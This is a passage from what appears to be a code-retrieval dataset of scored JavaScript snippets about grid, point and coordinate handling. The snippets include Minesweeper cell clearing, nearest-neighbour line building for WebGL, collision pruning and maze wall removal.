"de43e1755f047a552d061bf6a3777894", "score": "0.5426817", "text": "function _filterPoints(points) {\n var filteredPoints = [];\n\n for (var i = 0, len = points.length; i < len; i++) {\n var point = points[i];\n\n if (!isNaN(point.x) && !isNaN(point.y)) {\n filteredPoints.push(point);\n }\n }\n\n return filteredPoints;\n}", "title": "" }, { "docid": "3f78731868b7cae0d64bb8a925e4ff43", "score": "0.5414351", "text": "function removeduplicate(x){\n var nema=x.slice(0,x.length);\n for ( i = 0; i < nema.length; i++) {\n for ( var k = 0; k < nema.length; k++) {\n if (nema[i]==nema[k+1]) {\n nema.splice(k+1,1);\n }\n }\n }\n\n console.log(\"Iskarpytas masyvas, be pasikartojanciu reiksmiu:\", nema);\n}", "title": "" }, { "docid": "9627063823c5e69f73d6561e7c5e78ec", "score": "0.5414235", "text": "function clearAdjacent(x, y) {\n var x = parseInt(x);\n var y = parseInt(y);\n boardGame[x][y].found = true;\n\n if(x-1 > 0) {\n var left = boardGame[x-1][y];\n if(left.found == false && left.mine == false && left.flagged == false && getAdjacentMines(x-1, y) == 0) {\n left.found = true;\n var newX = (x - 1).toString();\n var newY = y.toString();\n var thisId = newX + \"*\" + newY\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n clearAdjacent(x-1, y);\n \n }\n else if(left.found == false && left.mine == false && left.flagged == false && getAdjacentMines(x-1, y) != 0) {\n left.found = true;\n numMines = getAdjacentMines(x-1, y);\n var newX = (x - 1).toString();\n var newY = y.toString();\n var thisId = newX + \"*\" + newY\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n \n if(minesLeft == 0) {\n left.found = true;\n win();\n }\n else {\n if(left.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n left.found = true;\n }\n \n }\n } \n }\n if(x+1 <= rows) {\n var right = boardGame[x+1][y];\n if(right.found == false && right.mine == false && right.flagged == false && getAdjacentMines(x+1, y) == 0) {\n right.found = true;\n var newX = (x + 1).toString();\n var newY = y.toString();\n var thisId = newX + \"*\" + newY;\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n clearAdjacent(x+1, y);\n \n }\n else if(right.found == false && right.mine == false && right.flagged == false && getAdjacentMines(x+1, y) != 0) {\n // right.found = true;\n numMines = getAdjacentMines(x+1, y);\n var newX = (x + 1).toString();\n var newY = y.toString();\n var thisId = newX + \"*\" + newY;\n \n if(minesLeft == 0) {\n right.found = true;\n win();\n }\n else {\n if(right.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n right.found = true;\n }\n \n }\n } \n }\n if(y-1 > 0) {\n var top = boardGame[x][y-1];\n if(top.found == false && top.mine == false && top.flagged == false && getAdjacentMines(x, y-1) == 0) {\n top.found = true;\n var newX = x.toString();\n var newY = (y-1).toString();\n var thisId = newX + \"*\" + newY;\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n clearAdjacent(x, y-1);\n \n \n }\n else if(top.found == false && top.mine == false && top.flagged == false && getAdjacentMines(x, y-1) != 0) {\n // top.found = true;\n numMines = getAdjacentMines(x, y-1);\n var newX = x.toString();\n var newY = (y-1).toString();\n var thisId = newX + \"*\" + newY;\n\n if(minesLeft == 0) {\n top.found = true;\n win();\n }\n else {\n if(top.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n top.found = true;\n }\n \n }\n } \n }\n if(y+1 <= cols) {\n var bottom = boardGame[x][y+1];\n if(bottom.found == false && bottom.mine == false && bottom.flagged == false && getAdjacentMines(x, y+1) == 0) {\n bottom.found = true;\n var newX = x.toString();\n var newY = (y+1).toString();\n var thisId = newX + \"*\" + newY;\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n clearAdjacent(x, y+1);\n }\n else if(bottom.found == false && bottom.mine == false && bottom.flagged == false && getAdjacentMines(x, y+1) != 0) {\n // bottom.found = true;\n numMines = getAdjacentMines(x, y+1);\n var newX = x.toString();\n var newY = (y+1).toString();\n var thisId = newX + \"*\" + newY;\n\n if(minesLeft == 0) {\n bottom.found = true;\n win();\n }\n else {\n if(bottom.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n bottom.found = true;\n }\n \n\n }\n } \n \n }\n\n // diagonals\n\n if(x-1 > 0 && y-1 > 0) {\n var topLeft = boardGame[x-1][y-1];\n if(topLeft.found == false && topLeft.mine == false && topLeft.flagged == false && getAdjacentMines(x-1, y-1) == 0) {\n // do nothing\n }\n else if(topLeft.found == false && topLeft.mine == false && topLeft.flagged == false && getAdjacentMines(x-1, y-1) != 0) {\n numMines = getAdjacentMines(x-1, y-1);\n var newX = (x-1).toString();\n var newY = (y-1).toString();\n var thisId = newX + \"*\" + newY;\n\n if(minesLeft == 0) {\n topLeft.found = true;\n win();\n }\n else {\n if(topLeft.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n topLeft.found = true;\n }\n \n\n }\n } \n \n }\n \n if(x+1 <= rows && y-1 > 0) {\n var topRight = boardGame[x+1][y-1];\n if(topRight.found == false && topRight.mine == false && topRight.flagged == false && getAdjacentMines(x+1, y-1) == 0) {\n // do nothing\n }\n else if(topRight.found == false && topRight.mine == false && topRight.flagged == false && getAdjacentMines(x+1, y-1) != 0) {\n numMines = getAdjacentMines(x+1, y-1);\n var newX = (x+1).toString();\n var newY = (y-1).toString();\n var thisId = newX + \"*\" + newY;\n\n if(minesLeft == 0) {\n topRight.found = true;\n win();\n }\n else {\n if(topRight.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n topRight.found = true;\n }\n \n\n }\n } \n \n }\n \n \n if(x-1 > 0 && y+1 <= cols) {\n var bottomLeft = boardGame[x-1][y+1];\n if(bottomLeft.found == false && bottomLeft.mine == false && bottomLeft.flagged == false && getAdjacentMines(x-1, y+1) == 0) {\n // do nothing\n }\n else if(bottomLeft.found == false && bottomLeft.mine == false && bottomLeft.flagged == false && getAdjacentMines(x-1, y+1) != 0) {\n numMines = getAdjacentMines(x-1, y+1);\n var newX = (x-1).toString();\n var newY = (y+1).toString();\n var thisId = newX + \"*\" + newY;\n\n if(minesLeft == 0) {\n bottomLeft.found = true;\n win();\n }\n else {\n if(bottomLeft.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n bottomLeft.found = true;\n }\n \n\n }\n } \n \n }\n \n if(x+1 <= rows && y+1 <= cols) {\n var bottomRight = boardGame[x+1][y+1];\n if(bottomRight.found == false && bottomRight.mine == false && bottomRight.flagged == false && getAdjacentMines(x+1, y+1) == 0) {\n // do nothing\n }\n else if(bottomRight.found == false && bottomRight.mine == false && bottomRight.flagged == false && getAdjacentMines(x+1, y+1) != 0) {\n // bottom.found = true;\n numMines = getAdjacentMines(x+1, y+1);\n var newX = (x+1).toString();\n var newY = (y+1).toString();\n var thisId = newX + \"*\" + newY;\n\n if(minesLeft == 0) {\n bottomRight.found = true;\n win();\n }\n else {\n if(bottomRight.found == false) {\n document.getElementById(thisId).append(numMines);\n document.getElementById(thisId).style.backgroundColor = \"#a09a9c\";\n bottomRight.found = true;\n }\n \n\n }\n } \n \n } \n \n return;\n \n }", "title": "" }, { "docid": "641b367dcb6721bb89e48cb6f95c73c4", "score": "0.54116404", "text": "removeCrosswordCells(crossword) {\n this.#map = this.#map.filter((x) => x.cell.crossword !== crossword);\n }", "title": "" }, { "docid": "1eaba08754ae697f52f30ea9464aafc4", "score": "0.54008657", "text": "function remove(column) {\n\tvar x = 0;\n\twhile ((internal[x][column.y] == UNDEF) && (x < HEIGHT - 1)) { x += 1;}\n\t// record it on internal board\n\tinternal[x][column.y] = UNDEF;\n\tvar newDot = document.getElementById(\"conn4-\" + x.toString() + column.y.toString()); \n\tnewDot.innerHTML = '<i class=\"fa fa-check-circle\" aria-hidden=\"true\" style=\"color:gray;\"></i>';\n}", "title": "" }, { "docid": "8e395282a0714857875ab2023789a837", "score": "0.5393861", "text": "display_unique(_x ,_y, _color, _dim1, _dim2, flag_jitter)\n {\n fill(_color)\n if(flag_jitter == false)\n {\n rect(_x, _y, _dim1, _dim2)\n }\n else\n {\n rect(_x , _y, _dim1 - _dim1*0.025, _dim2 - _dim2*0.025) //otherwise jitter will cause glitch\n }\n }", "title": "" }, { "docid": "42a6971b3e25889ca0d20c9bc4a3058b", "score": "0.538585", "text": "function nonMaxSuppression(keyPts, count)\n{\n if (keyPts === null || keyPts.length < count) {\n return keyPts;\n }\n\n var cRobust = 0.9;\n\n //Tính toán radius\n for (var i = 0; i < keyPts.length; i++) {\n if (keyPts[i].radius === 0.0) {\n keyPts[i].radius = 1e8;\n }\n \n for (var j = i + 1; j < keyPts.length; j++) {\n if (keyPts[j].radius === 0.0) {\n keyPts[j].radius = 1e8;\n }\n \n var x = keyPts[i].x - keyPts[j].x;\n var y = keyPts[i].y - keyPts[j].y;\n var d = x * x + y * y;\n\n if (keyPts[i].response < cRobust * keyPts[j].response) {\n if (d < keyPts[i].radius) {\n keyPts[i].radius = d;\n }\n } else if (keyPts[j].response < cRobust * keyPts[i].response) {\n if (d < keyPts[j].radius) {\n keyPts[j].radius = d;\n }\n }\n }\n }\n\n //Sắp xếp giảm dần theo radius\n keyPts.sort(function(a, b){ return (b.radius - a.radius); });\n\n return keyPts.slice(0, count);\n}", "title": "" }, { "docid": "4ae9711086bf4e800d28c5c9f06f786c", "score": "0.5379772", "text": "function deleteFigure(a){\n for(var i=0; i<FIGURE_SIZE; i++)\n for(var j=0; j<FIGURE_SIZE; j++)\n if(figure[i][j] != 0)\n a[figurePosY+i][figurePosX+j] = 0;\n}", "title": "" }, { "docid": "6b2bb1c6333e4a11f5c91e3ac447c7b3", "score": "0.5360753", "text": "checkNearestSurroundedCoords(addingCoord, currentCluster) {\n for (var i = -1; i <= 1; i++) {\n for (var j = -1; j <= 1; j++) {\n if ((i == 0 && j == 0) || (i != 0 && j != 0)) continue;\n\n for (var index = 0; index < currentCluster.length; index++) {\n if (addingCoord.x + i === currentCluster[index].x &&\n addingCoord.y + j === currentCluster[index].y) {\n\n return true;\n }\n }\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "591674de9b7a50cda1250119c197a4ba", "score": "0.5359749", "text": "function SweepAndPrune()\n{\n\tvar axisList = [], activeList = [], overlaps = [];\n\t\n\t// Sweep\n\t// O(n)\n\tfor(var index in arguments)\n\t{\n\t\tfor(var object in arguments[index])\n\t\t{\n\t\t\taxisList.push(arguments[index][object]);\n\t\t}\n\t}\n\t// O(n log(n))\n\taxisList.sort(SweepAndPrune.compare);\n\t\n\t// Prune\n\tfor(index = 0; index < axisList.length; index++)\n\t{\t\t\n\t\tfor(object = 0; object < activeList.length; object++)\n\t\t{\n\t\t\tif(axisList[index].min.x > activeList[object].max.x)\n\t\t\t{\n\t\t\t\tactiveList.splice(object, 1);\n\t\t\t\tobject--;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\toverlaps.push([activeList[object], axisList[index]]);\n\t\t\t}\n\t\t}\n\t\t\n\t\tactiveList.push(axisList[index]);\t\t\n\t}\n\t\n\treturn overlaps;\n}", "title": "" }, { "docid": "a5e1906eb0f3ffc77c667f6e39e26d61", "score": "0.53556556", "text": "function updateLinesSubset() {\n // console.time(\"fill\");\n\n\n var closestFourIndexes = [ -1, -1, -1, -1 ];\n var closestFourDistances = [ 999999, 999999, 999999, 999999 ];\n\n for(var i = 0; i < pointsNum; i++) {\n // if(i % 2 === 0) continue;\n\n\n closestFourIndexes[0] = -1;\n closestFourIndexes[1] = -1;\n closestFourIndexes[2] = -1;\n closestFourIndexes[3] = -1;\n closestFourDistances[0] = 999999;\n closestFourDistances[1] = 999999;\n closestFourDistances[2] = 999999;\n closestFourDistances[3] = 999999;\n\n\n for(var j = 0; j < pointsNum; j++) {\n\n // if(j === i) continue;\n if(j % 2 === 0) continue;\n\n var vx = points[i].x - points[j].x;\n var vy = points[i].y - points[j].y;\n var dst = vx * vx + vy * vy;\n\n if(dst < closestFourDistances[0]) {\n closestFourDistances[3] = closestFourDistances[2];\n closestFourDistances[2] = closestFourDistances[1];\n closestFourDistances[1] = closestFourDistances[0];\n \n closestFourIndexes[3] = closestFourIndexes[2];\n closestFourIndexes[2] = closestFourIndexes[1];\n closestFourIndexes[1] = closestFourIndexes[0];\n\n closestFourDistances[0] = dst;\n closestFourIndexes[0] = j;\n continue;\n }\n\n\n if(dst < closestFourDistances[1]) {\n closestFourDistances[3] = closestFourDistances[2];\n closestFourDistances[2] = closestFourDistances[1];\n \n closestFourIndexes[3] = closestFourIndexes[2];\n closestFourIndexes[2] = closestFourIndexes[1];\n\n closestFourDistances[1] = dst;\n closestFourIndexes[1] = j;\n continue;\n }\n\n if(dst < closestFourDistances[2]) {\n closestFourDistances[3] = closestFourDistances[2];\n \n closestFourIndexes[3] = closestFourIndexes[2];\n\n closestFourDistances[2] = dst;\n closestFourIndexes[2] = j;\n continue;\n }\n\n if(dst < closestFourDistances[3]) {\n closestFourDistances[3] = dst;\n closestFourIndexes[3] = j;\n }\n }\n\n // verticesBuffer.push(i,closestFourIndexes[0],0,0, /*0,0,0,0,*/ closestFourIndexes[0],i,0,0/*, 0,0,0,0*/);\n // verticesBuffer.push(i,closestFourIndexes[1],0,0, /*0,0,0,0,*/ closestFourIndexes[1],i,0,0/*, 0,0,0,0*/);\n // verticesBuffer.push(i,closestFourIndexes[2],0,0, /*0,0,0,0,*/ closestFourIndexes[2],i,0,0/*, 0,0,0,0*/);\n // verticesBuffer.push(i,closestFourIndexes[3],0,1, /*1,0,0,0,*/ closestFourIndexes[3],i,0,1/*, 1,0,0,0*/);\n\n linesProgram.verticesBuffer[i * 32 + 0] = i;\n linesProgram.verticesBuffer[i * 32 + 1] = closestFourIndexes[0];\n linesProgram.verticesBuffer[i * 32 + 2] = 0;\n linesProgram.verticesBuffer[i * 32 + 3] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 4] = closestFourIndexes[0];\n linesProgram.verticesBuffer[i * 32 + 5] = i;\n linesProgram.verticesBuffer[i * 32 + 6] = 0;\n linesProgram.verticesBuffer[i * 32 + 7] = 0;\n\n\n\n linesProgram.verticesBuffer[i * 32 + 8] = i;\n linesProgram.verticesBuffer[i * 32 + 9] = closestFourIndexes[1];\n linesProgram.verticesBuffer[i * 32 + 10] = 0;\n linesProgram.verticesBuffer[i * 32 + 11] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 12] = closestFourIndexes[1];\n linesProgram.verticesBuffer[i * 32 + 13] = i;\n linesProgram.verticesBuffer[i * 32 + 14] = 0;\n linesProgram.verticesBuffer[i * 32 + 15] = 0;\n\n\n\n linesProgram.verticesBuffer[i * 32 + 16] = i;\n linesProgram.verticesBuffer[i * 32 + 17] = closestFourIndexes[2];\n linesProgram.verticesBuffer[i * 32 + 18] = 0;\n linesProgram.verticesBuffer[i * 32 + 19] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 20] = closestFourIndexes[2];\n linesProgram.verticesBuffer[i * 32 + 21] = i;\n linesProgram.verticesBuffer[i * 32 + 22] = 0;\n linesProgram.verticesBuffer[i * 32 + 23] = 0;\n\n\n \n linesProgram.verticesBuffer[i * 32 + 24] = i;\n linesProgram.verticesBuffer[i * 32 + 25] = closestFourIndexes[3];\n linesProgram.verticesBuffer[i * 32 + 26] = 0;\n linesProgram.verticesBuffer[i * 32 + 27] = 1;\n\n linesProgram.verticesBuffer[i * 32 + 28] = closestFourIndexes[3];\n linesProgram.verticesBuffer[i * 32 + 29] = i;\n linesProgram.verticesBuffer[i * 32 + 30] = 0;\n linesProgram.verticesBuffer[i * 32 + 31] = 1;\n }\n // console.timeEnd(\"fill\");\n\n\n // console.time(\"upload\");\n // window.linesFloatBuffer = new Float32Array(pointsNum * pointsNum * 4 * 2); // pn * pn lines, comprised of 2 vertices of 8 floats\n gl.bindBuffer(gl.ARRAY_BUFFER, linesProgram.linesBuffer);\n gl.bufferData(gl.ARRAY_BUFFER, linesProgram.verticesBuffer, gl.STATIC_DRAW); \n // console.timeEnd(\"upload\");\n}", "title": "" }, { "docid": "2aab91a7c6604d8b74e3ad3935944d1a", "score": "0.5354813", "text": "pruneExceptNewestZ() {\n if (this.getCount() === 0) {\n return;\n }\n const key = this.peekFirstKey();\n const tileCoord = __webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__tilecoord_js__[\"d\" /* fromKey */])(key);\n const z = tileCoord[0];\n this.forEach(function(tile) {\n if (tile.tileCoord[0] !== z) {\n this.remove(__webpack_require__.i(__WEBPACK_IMPORTED_MODULE_1__tilecoord_js__[\"b\" /* getKey */])(tile.tileCoord));\n tile.dispose();\n }\n }, this);\n }", "title": "" }, { "docid": "47371009ca690b2a952c7d641b391cdc", "score": "0.53547406", "text": "function filterDataPoint(row, col) {\n\tvar mywindow = DataSetObject.getDataWindow();\n\tvar actual_x = mywindow[row][col].row_id;\n\tvar actual_y = mywindow[row][col].col_id;\n\t// TO DO - fix this, as it's causing inconsistencies\n\tfilterCoordinates.push([parseInt(row), parseInt(col)]);\n\n\tPRESS_COMPARE_COUNTER++;\n\t/* Start timer to detect whether we need to compare two rows or filter out a single point. Timer is set to\n\t * detect presses within a specific timeframe. */\n\tif(COMPARE_TIMER_STARTED == false) {\n\t\tCOMPARE_TIME_1 = timestamp();\n\t\tbeginCompareTimer();\n\t}\n}", "title": "" }, { "docid": "11bdc75beb905b47421bdc89267468bd", "score": "0.53535974", "text": "function updateLinesSubset() {\n // console.time(\"fill\");\n\n\n var closestFourIndexes = [-1, -1, -1, -1];\n var closestFourDistances = [999999, 999999, 999999, 999999];\n\n for (var i = 0; i < pointsNum; i++) {\n // if(i % 2 === 0) continue;\n\n\n closestFourIndexes[0] = -1;\n closestFourIndexes[1] = -1;\n closestFourIndexes[2] = -1;\n closestFourIndexes[3] = -1;\n closestFourDistances[0] = 999999;\n closestFourDistances[1] = 999999;\n closestFourDistances[2] = 999999;\n closestFourDistances[3] = 999999;\n\n for (var j = 0; j < pointsNum; j++) {\n\n // if(j === i) continue;\n if (j % 2 === 0) continue;\n\n var vx = points[i].x - points[j].x;\n var vy = points[i].y - points[j].y;\n var dst = vx * vx + vy * vy;\n\n if (dst < closestFourDistances[0]) {\n closestFourDistances[3] = closestFourDistances[2];\n closestFourDistances[2] = closestFourDistances[1];\n closestFourDistances[1] = closestFourDistances[0];\n\n closestFourIndexes[3] = closestFourIndexes[2];\n closestFourIndexes[2] = closestFourIndexes[1];\n closestFourIndexes[1] = closestFourIndexes[0];\n\n closestFourDistances[0] = dst;\n closestFourIndexes[0] = j;\n continue;\n }\n\n if (dst < closestFourDistances[1]) {\n closestFourDistances[3] = closestFourDistances[2];\n closestFourDistances[2] = closestFourDistances[1];\n\n closestFourIndexes[3] = closestFourIndexes[2];\n closestFourIndexes[2] = closestFourIndexes[1];\n\n closestFourDistances[1] = dst;\n closestFourIndexes[1] = j;\n continue;\n }\n\n if (dst < closestFourDistances[2]) {\n closestFourDistances[3] = closestFourDistances[2];\n\n closestFourIndexes[3] = closestFourIndexes[2];\n\n closestFourDistances[2] = dst;\n closestFourIndexes[2] = j;\n continue;\n }\n\n if (dst < closestFourDistances[3]) {\n closestFourDistances[3] = dst;\n closestFourIndexes[3] = j;\n }\n }\n\n // verticesBuffer.push(i,closestFourIndexes[0],0,0, /*0,0,0,0,*/ closestFourIndexes[0],i,0,0/*, 0,0,0,0*/);\n // verticesBuffer.push(i,closestFourIndexes[1],0,0, /*0,0,0,0,*/ closestFourIndexes[1],i,0,0/*, 0,0,0,0*/);\n // verticesBuffer.push(i,closestFourIndexes[2],0,0, /*0,0,0,0,*/ closestFourIndexes[2],i,0,0/*, 0,0,0,0*/);\n // verticesBuffer.push(i,closestFourIndexes[3],0,1, /*1,0,0,0,*/ closestFourIndexes[3],i,0,1/*, 1,0,0,0*/);\n\n linesProgram.verticesBuffer[i * 32 + 0] = i;\n linesProgram.verticesBuffer[i * 32 + 1] = closestFourIndexes[0];\n linesProgram.verticesBuffer[i * 32 + 2] = 0;\n linesProgram.verticesBuffer[i * 32 + 3] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 4] = closestFourIndexes[0];\n linesProgram.verticesBuffer[i * 32 + 5] = i;\n linesProgram.verticesBuffer[i * 32 + 6] = 0;\n linesProgram.verticesBuffer[i * 32 + 7] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 8] = i;\n linesProgram.verticesBuffer[i * 32 + 9] = closestFourIndexes[1];\n linesProgram.verticesBuffer[i * 32 + 10] = 0;\n linesProgram.verticesBuffer[i * 32 + 11] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 12] = closestFourIndexes[1];\n linesProgram.verticesBuffer[i * 32 + 13] = i;\n linesProgram.verticesBuffer[i * 32 + 14] = 0;\n linesProgram.verticesBuffer[i * 32 + 15] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 16] = i;\n linesProgram.verticesBuffer[i * 32 + 17] = closestFourIndexes[2];\n linesProgram.verticesBuffer[i * 32 + 18] = 0;\n linesProgram.verticesBuffer[i * 32 + 19] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 20] = closestFourIndexes[2];\n linesProgram.verticesBuffer[i * 32 + 21] = i;\n linesProgram.verticesBuffer[i * 32 + 22] = 0;\n linesProgram.verticesBuffer[i * 32 + 23] = 0;\n\n linesProgram.verticesBuffer[i * 32 + 24] = i;\n linesProgram.verticesBuffer[i * 32 + 25] = closestFourIndexes[3];\n linesProgram.verticesBuffer[i * 32 + 26] = 0;\n linesProgram.verticesBuffer[i * 32 + 27] = 1;\n\n linesProgram.verticesBuffer[i * 32 + 28] = closestFourIndexes[3];\n linesProgram.verticesBuffer[i * 32 + 29] = i;\n linesProgram.verticesBuffer[i * 32 + 30] = 0;\n linesProgram.verticesBuffer[i * 32 + 31] = 1;\n }\n // console.timeEnd(\"fill\");\n\n\n // console.time(\"upload\");\n // window.linesFloatBuffer = new Float32Array(pointsNum * pointsNum * 4 * 2); // pn * pn lines, comprised of 2 vertices of 8 floats\n gl.bindBuffer(gl.ARRAY_BUFFER, linesProgram.linesBuffer);\n gl.bufferData(gl.ARRAY_BUFFER, linesProgram.verticesBuffer, gl.STATIC_DRAW);\n // console.timeEnd(\"upload\");\n}", "title": "" }, { "docid": "d01ca6cf1044ed0e3f134dc3f8fab901", "score": "0.53448933", "text": "function getDeadCells(active_cells){\n var dead_cells = [];\n pointer = 0;\n for (var i = 0; i < active_cells.length; i++){\n var x = parseInt(active_cells[i].split(\",\")[0]);\n var y = parseInt(active_cells[i].split(\",\")[1]);\n // console.log(x,\"x\")\n // console.log(y,\"y\")\n\n dead_cells[pointer] = [\n x+\",\"+parseInt(y+1),\n x+\",\"+parseInt(y-1),\n (x-1)+\",\"+parseInt(y+1),\n (x-1)+\",\"+parseInt(y),\n (x-1)+\",\"+parseInt(y-1),\n (x+1)+\",\"+parseInt(y),\n (x+1)+\",\"+parseInt(y-1),\n (x+1)+\",\"+parseInt(y+1),\n ]\n // console.log(dead_cells)\n pointer++;\n\n }\n dead_cells = dead_cells.flat();\n for(var i = 0; i < dead_cells.length;i++){\n if(map[dead_cells[i]]==1){\n dead_cells = dead_cells.filter(cell =>{\n return cell !== dead_cells[i];\n })\n }\n }\n return dead_cells;\n}", "title": "" }, { "docid": "d02c56f3bb99e715fc3f205e4548c089", "score": "0.5343831", "text": "function exclude_data() {\n let new_data = _.difference(data, shuffled_data);\n if (new_data.length == 0) {\n alert(\"I don't mean to be rude, but I can't let you remove all the data.\\n\\nTry selecting just a few data points then clicking 'Exclude'.\");\n return false;\n }\n data = new_data;\n rescale();\n}", "title": "" }, { "docid": "a096bc84f49db68d8226999d0a7fa8b9", "score": "0.53435445", "text": "function RemovePoints(amt : int){ this.points = this.points - amt > 0 ? this.points - amt : 0; }", "title": "" }, { "docid": "cf2a57c8ba386e07ed8ca907c8862075", "score": "0.5333442", "text": "get isSinglePoint() {\n return this.high.x === this.low.x\n && this.high.y === this.low.y\n && this.high.z === this.low.z;\n }", "title": "" }, { "docid": "b85d4a8e7907ff7ccb04f6af48a47c0c", "score": "0.53232914", "text": "removeEdge(id1, id2) {\n // YOUR WORK HERE\n \n if(id1 in this.storage && id2 in this.storage){\n \n \n var edges = this.storage[id1];\n \n for(var i =0 ;i< edges.length;i++){\n \n \n if(edges[i] == id2){\n \n edges.splice(i,1);\n \n \n \n }\n \n }\n \n \n \n \n return true;\n }else{\n \n return false;\n }\n \n \n \n }", "title": "" }, { "docid": "ce2950bc37b760bdbcd8e72682f304b4", "score": "0.53200907", "text": "function eliminateDuplicates(arr) {\n \t\t\tvar i,\n \t\tlen=arr.length,\n \t\tout=[],//Contains the list of unique values of a column(which has been now transposed to a row)\n \t\tobj={};\n\n \t\t\tfor (i=0;i<len;i++) {\n \t\t\tobj[arr[i]]=0;\n \t\t\t}\n \t\t\tfor (i in obj) {\n \t\t\tout.push(i);\n\n \t\t\t}\n \t\t\t//console.log(out);\n \t\t\treturn out;\n\t\t}", "title": "" }, { "docid": "251107502155248504243699c3a3deb6", "score": "0.53158665", "text": "checkClosure(board, indexOfCluster) {\n var color = this.currentPlayerColor;\n var minX = board.cellNumber;\n var minY = board.cellNumber;\n var maxX = 0;\n var maxY = 0;\n\n var suspiciousCoords = [];\n var surroundedCoords = [];\n\n\n //finds minimal\n board.stoneCoords[color][indexOfCluster].forEach(function (current, i, clusterCoords) {\n if (current.x < minX) minX = current.x;\n else if (current.x > maxX) maxX = current.x;\n\n if (current.y < minY) minY = current.y;\n else if (current.y > maxY) maxY = current.y;\n });\n\n\n //finds suspicious coords\n for (var i = minX; i <= maxX; i++) {\n for (var j = minY; j <= maxY; j++) {\n var currentStone = {\n x: i,\n y: j\n };\n\n if (!board.isClusterContainsStone(indexOfCluster, currentStone, color)) {\n suspiciousCoords.push(currentStone);\n }\n }\n }\n\n\n //finds surrounded coords\n for (var i = 0; i < suspiciousCoords.length; i++) {\n if (!this.isStoneAdded(suspiciousCoords[i], surroundedCoords))\n var currentStone = suspiciousCoords[i];\n else continue;\n\n this.checkSides(currentStone, surroundedCoords, board, indexOfCluster, maxX, maxY);\n }\n\n\n //delete surrounded coords\n var enemyColor = this.color[color];\n this.isSurroundedCoordsExist(surroundedCoords, board, enemyColor);\n \n return surroundedCoords;\n\n }", "title": "" }, { "docid": "d8f20fc9e7f53bf93efce0f352dfc656", "score": "0.5313853", "text": "static checkAndNudgePoints(image, points) {\n const width = image.getWidth();\n const height = image.getHeight();\n // Check and nudge points from start until we see some that are OK:\n let nudged = true;\n for (let offset = 0; offset < points.length && nudged; offset += 2) {\n const x = Math.floor(points[offset]);\n const y = Math.floor(points[offset + 1]);\n if (x < -1 || x > width || y < -1 || y > height) {\n throw new Exception_1.default(Exception_1.default.NotFoundException);\n }\n nudged = false;\n if (x === -1) {\n points[offset] = 0.0;\n nudged = true;\n }\n else if (x === width) {\n points[offset] = width - 1;\n nudged = true;\n }\n if (y === -1) {\n points[offset + 1] = 0.0;\n nudged = true;\n }\n else if (y === height) {\n points[offset + 1] = height - 1;\n nudged = true;\n }\n }\n // Check and nudge points from end:\n nudged = true;\n for (let offset = points.length - 2; offset >= 0 && nudged; offset -= 2) {\n const x = Math.floor(points[offset]);\n const y = Math.floor(points[offset + 1]);\n if (x < -1 || x > width || y < -1 || y > height) {\n throw new Exception_1.default(Exception_1.default.NotFoundException);\n }\n nudged = false;\n if (x === -1) {\n points[offset] = 0.0;\n nudged = true;\n }\n else if (x === width) {\n points[offset] = width - 1;\n nudged = true;\n }\n if (y === -1) {\n points[offset + 1] = 0.0;\n nudged = true;\n }\n else if (y === height) {\n points[offset + 1] = height - 1;\n nudged = true;\n }\n }\n }", "title": "" }, { "docid": "e0e97f94ea4ebf7a3256cad75910e833", "score": "0.5301066", "text": "uncoverNeighbours() {\n\n var surroundingPositions = getSurroundingPositions(this.game, this);\n var surroundungFields = [];\n for (var indexPosition in surroundingPositions) {\n var surroundingPosition = surroundingPositions[indexPosition];\n surroundungFields.push(getFieldFromPos(this.game, surroundingPosition.x, surroundingPosition.y))\n }\n for (var indexFields in surroundungFields) {\n var surroundingField = surroundungFields[indexFields];\n if (surroundingField.covered) surroundingField.uncover();\n }\n }", "title": "" }, { "docid": "15aa43747e8560fb5e60f1cb6d854143", "score": "0.5285358", "text": "function avoidsVertex(types, z, x, y)\n{\n\t// xy avoids z if xz, yz not inclusion and if xz, yz\n\t// both overlap, then xy inclusion\n\t//assert(types[x][y] != EdgeType.NON_EDGE);\n\tconst zOverlapsXY = types[z][x] == EdgeType.OVERLAP &&\n\t\t\t\t\t\ttypes[z][y] == EdgeType.OVERLAP;\n\tconst noInclusion = types[z][x] != EdgeType.INCLUSION &&\n\t\t\t\t\t\ttypes[z][y] != EdgeType.INCLUSION;\n\treturn noInclusion && (types[x][y] == EdgeType.INCLUSION || !zOverlapsXY)\n}", "title": "" }, { "docid": "608052afd18c7b651937e4f030a303f7", "score": "0.5281003", "text": "function removeWalls(a, b) {\n let x = a.i - b.i\n let y = a.j - b.j\n if (x === 1) {\n a.walls[3] = false\n b.walls[1] = false\n } else if (x === -1) {\n a.walls[1] = false\n b.walls[3] = false\n }\n if (y === 1) {\n a.walls[0] = false\n b.walls[2] = false\n } else if (y === -1) {\n a.walls[2] = false\n b.walls[0] = false\n }\n}", "title": "" }, { "docid": "9ff3a9c9dc51b43a162b7348cdd9fee4", "score": "0.5270082", "text": "function killOldData() {\n for (let i = 